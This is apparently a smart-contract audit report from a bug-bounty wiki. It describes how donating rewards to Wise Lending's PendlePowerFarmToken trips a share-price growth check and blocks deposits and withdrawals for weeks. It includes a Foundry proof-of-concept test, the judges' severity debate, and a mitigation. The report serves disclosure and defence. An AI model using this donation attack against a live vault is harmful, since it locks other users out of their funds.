PendlePowerFarmToken:: totalLpAssetsToDistribute may lead to temporary DOS due to price growth check being skipped during deposit
The PendlePowerFarmToken contract allows anyone to donate rewards via addCompoundRewards, which increases totalLpAssetsToDistribute but does not immediately affect the share price. This causes the share price growth check to fail on subsequent deposits and withdrawals, temporarily locking user funds until enough time passes.
Submitted by NentoR, also found by NentoR and 00xSEV
Impact
Random actors, malicious or not, can DOS the Pendle PowerFarm vault by sending rewards to it through PendlePowerFarmToken::addCompoundRewards() or PendlePowerFarmController::exchangeRewardsForCompoundingWithIncentive(). This results in all users being unable to access their positions or open new ones for a set amount of time imposed by PendlePowerFarmToken::_validateSharePriceGrowth().
Proof of Concept
The PendlePowerFarmToken has a mechanism in place that protects the vault from people looping and increasing the share price:
function _validateSharePriceGrowth(
uint256 _sharePriceNow
)
private
view
{
uint256 timeDifference = block.timestamp
- INITIAL_TIME_STAMP;
uint256 maximum = timeDifference
* RESTRICTION_FACTOR
+ PRECISION_FACTOR_E18;
if (_sharePriceNow > maximum) {
revert InvalidSharePriceGrowth();
}
}
This is a private function invoked from the syncSupply() modifier, which is used for the following functions:
manualSync()addCompoundRewards()depositExactAmount()withdrawExactShares()withdrawExactAmount()
The entry point of this exploit is addCompoundRewards():
function addCompoundRewards(
uint256 _amount
)
external
syncSupply
{
if (_amount == 0) {
revert ZeroAmount();
}
totalLpAssetsToDistribute += _amount;
if (msg.sender == PENDLE_POWER_FARM_CONTROLLER) {
return;
}
_safeTransferFrom(
UNDERLYING_PENDLE_MARKET,
msg.sender,
PENDLE_POWER_FARM_CONTROLLER,
_amount
);
}
We can see that it allows users to donate their tokens to the vault to increase the totalLpAssetsToDistribute. This is then distributed among holders with subsequent calls to the aforementioned functions.
This is the code for the syncSupply() modifier:
modifier syncSupply()
{
_triggerIndexUpdate();
_overWriteCheck();
_syncSupply();
_updateRewards();
_setLastInteraction();
_increaseCardinalityNext();
uint256 sharePriceBefore = _getSharePrice();
_;
_validateSharePriceGrowth(
_validateSharePrice(
sharePriceBefore
)
);
}
The problem here is that even though addCompoundRewards() calls it, the rewards added do not affect the share price immediately. It’s still the previously deposited amount. So, the condition _sharePriceNow > maximum holds true at the time someone calls addCompoundRewards() but causes a revert with subsequent calls to functions dependent on the modifier until enough time passes for the condition to hold true again.
Coded POC (PendlePowerFarmControllerBase.t.sol):
function testDOSVault() public normalSetup(true) {
(IERC20 tokenReceived, uint256 balanceReceived) =
_getTokensToPlayWith(CRVUSD_PENDLE_28MAR_2024, crvUsdMar2024LP_WHALE);
(uint256 depositAmount, IPendlePowerFarmToken derivativeToken) =
_prepareDeposit(CRVUSD_PENDLE_28MAR_2024, tokenReceived, balanceReceived);
address alice = makeAddr("alice");
address bob = makeAddr("bob");
address charlie = makeAddr("charlie");
IERC20 pendleLpToken = IERC20(CRVUSD_PENDLE_28MAR_2024);
pendleLpToken.transfer(alice, 1.3e18);
pendleLpToken.transfer(bob, 2e18);
pendleLpToken.transfer(charlie, 1e18);
vm.startPrank(alice);
pendleLpToken.approve(address(derivativeToken), 1.3e18);
derivativeToken.depositExactAmount(1.3e18);
vm.stopPrank();
vm.startPrank(bob);
pendleLpToken.approve(address(derivativeToken), 2e18);
derivativeToken.addCompoundRewards(2e18);
vm.stopPrank();
// DOS happens once timestamp changes
vm.warp(block.timestamp + 1 seconds);
// Charlie cannot deposit
vm.startPrank(charlie);
pendleLpToken.approve(address(derivativeToken), 1e18);
vm.expectRevert(); // InvalidSharePriceGrowth
derivativeToken.depositExactAmount(1 ether);
vm.stopPrank();
// Alice cannot withdraw
vm.startPrank(alice);
vm.expectRevert(); // InvalidSharePriceGrowth
derivativeToken.withdrawExactShares(1e18);
vm.stopPrank();
// After 8 weeks, transactions still fail since _sharePriceNow is still greater than maximum (look at PendlePowerFarmToken::__validateSharePriceGrowth())
vm.warp(block.timestamp + 8 weeks);
// Alice still cannot withdraw
vm.startPrank(alice);
vm.expectRevert(); // InvalidSharePriceGrowth
derivativeToken.withdrawExactShares(1e18);
vm.stopPrank();
// From this point onwards, maximum > _sharePriceNow
vm.warp(block.timestamp + 9 weeks);
// Charlie can now deposit
vm.startPrank(charlie);
pendleLpToken.approve(address(derivativeToken), 1e18);
derivativeToken.depositExactAmount(1 ether);
vm.stopPrank();
// Alice can now deposit
vm.startPrank(alice);
derivativeToken.withdrawExactShares(1e18);
vm.stopPrank();
}
Recommended Mitigation Steps
I recommend turning the deposited rewards into shares at the time of calling addCompoundRewards(), so we can get _validateSharePriceGrowth() to validate it immediately and revert on the spot if needed. This will prevent the DOS and share price growth manipulation.
Assessed type
DoS
Trust (judge) increased severity to High and commented:
High is reasonable for temporary freeze of funds.
vm06007 (Wise Lending) commented:
High is reasonable for temporary freeze of funds.
That is literally definition of a Medium - temporary freeze of the funds. High is permanent freeze of funds. So dismiss the high.
vm06007 (Wise Lending) commented:
https://docs.code4rena.com/awarding/judging-criteria/severity-categorization
2 — Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.
3 — High: Assets can be stolen/lost/compromised directly (or indirectly if there is a valid attack path that does not have hand-wavy hypotheticals.
This is on the upper end of temporary FoF attacks, it also lasts for an extended duration. I would rule High on much weaker versions of this finding, not even close to downgrade-worthy.
Alex the Entreprenerd (Appellate Court judge) commented:
Summary of the issue
Due to a security check on LP value growth, a donation can cause the temporary inability to withdraw from a Farm Contract
Discussion
Alex the Entreprenerd (Appellate Court lead judge) commented: Facts: The Dos has a cost, that grows with supply. The Dos can be performed permissionlessly, at any time.
I’m unclear as to whether this is tied to liquidation risk, which should raise the severity.
hickuphh3 (judge 2) commented: From what I see, it shouldn’t affect liquidations or protocol health, only causing forced hodl with guaranteed returns. Hence, leaning towards Medium more than High.
Alex the Entreprenerd (Appellate Court lead judge) commented: Facts: Information contained in the report mentions exclusively an inability to withdraw (funds stuck). Other facts above still apply.
I agree that Medium Severity seems the most appropriate because:
- More supply = higher cost.
- Dos is temporary.
- Unclear/Missing usage to DOS a key feature.
LSDan (judge 3) commented: I’m also of the opinion that Medium is more appropriate here.
2 — Med: Assets not at direct risk, but the function of the protocol or its availability could be impacted, or leak value with a hypothetical attack path with stated assumptions, but external requirements.
Assets are not at direct risk. The minute the DOS stops the assets are once again available. Further, the cost to DOS the platform is not trivial. As you both pointed out, the more assets being frozen, the higher the cost. The attacker is donating to the users they are DOSing, leaving the user inconvenienced, but richer at the attacker’s expense.
Deliberation
The severity is downgraded to Medium unanimously.
Additional Context by the Lead Judge
Had the Report shown a way to weaponize this to halt liquidations, we would have had a easier time pushing for a higher severity.
However, given the Report only limiting itself to a temporary inability to withdraw, with no loss of principal, the decision was straightforward.
- I remain convinced that a permissionless, non-theoretical temporary FoF for non-negligible length (certainly days/weeks as shown) meets High severity threshold.
- Impact breaks a core invariant which states users can always pull out their funds. Users making monetary decisions under that assumption can certainly face loss of principal (e.g. cannot pull out to repay a due-loan, etc).
Mitigated here.
Note, this finding was downgraded to Medium by C4 staff in reference to the Appellate Court decision.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the share price growth validation is performed after the state change in addCompoundRewards, but the added rewards do not affect the share price immediately, so the check passes at that moment but fails on subsequent calls until enough time passes.
Impact
All users are unable to access their positions or open new ones for a set amount of time, potentially weeks, as shown in the proof of concept.
What the attacker needed
Attacker needs tokens to donate; No special permissions required
The fix
The deposited rewards should be turned into shares at the time of calling addCompoundRewards so that the share price growth check validates immediately and reverts if needed.
How it was found
- Alice deposits 1.3e18 tokens via depositExactAmount.
- Bob calls addCompoundRewards with 2e18 tokens, which increases totalLpAssetsToDistribute but does not change the share price immediately.
- After 1 second, Charlie tries to deposit 1e18 tokens but the transaction reverts with InvalidSharePriceGrowth.
- Alice tries to withdraw her shares but also reverts with InvalidSharePriceGrowth.
- After 8 weeks, Alice still cannot withdraw.
- After 9 more weeks, Charlie can deposit and Alice can withdraw.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This is a smart contract bug where a security check meant to prevent price manipulation can be triggered by anyone sending free tokens to the contract. The check compares the current share price to a maximum allowed value, but because the donation doesn't immediately change the share price, the check fails on later actions, blocking deposits and withdrawals for weeks. Users cannot access their funds until the allowed maximum catches up over time.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.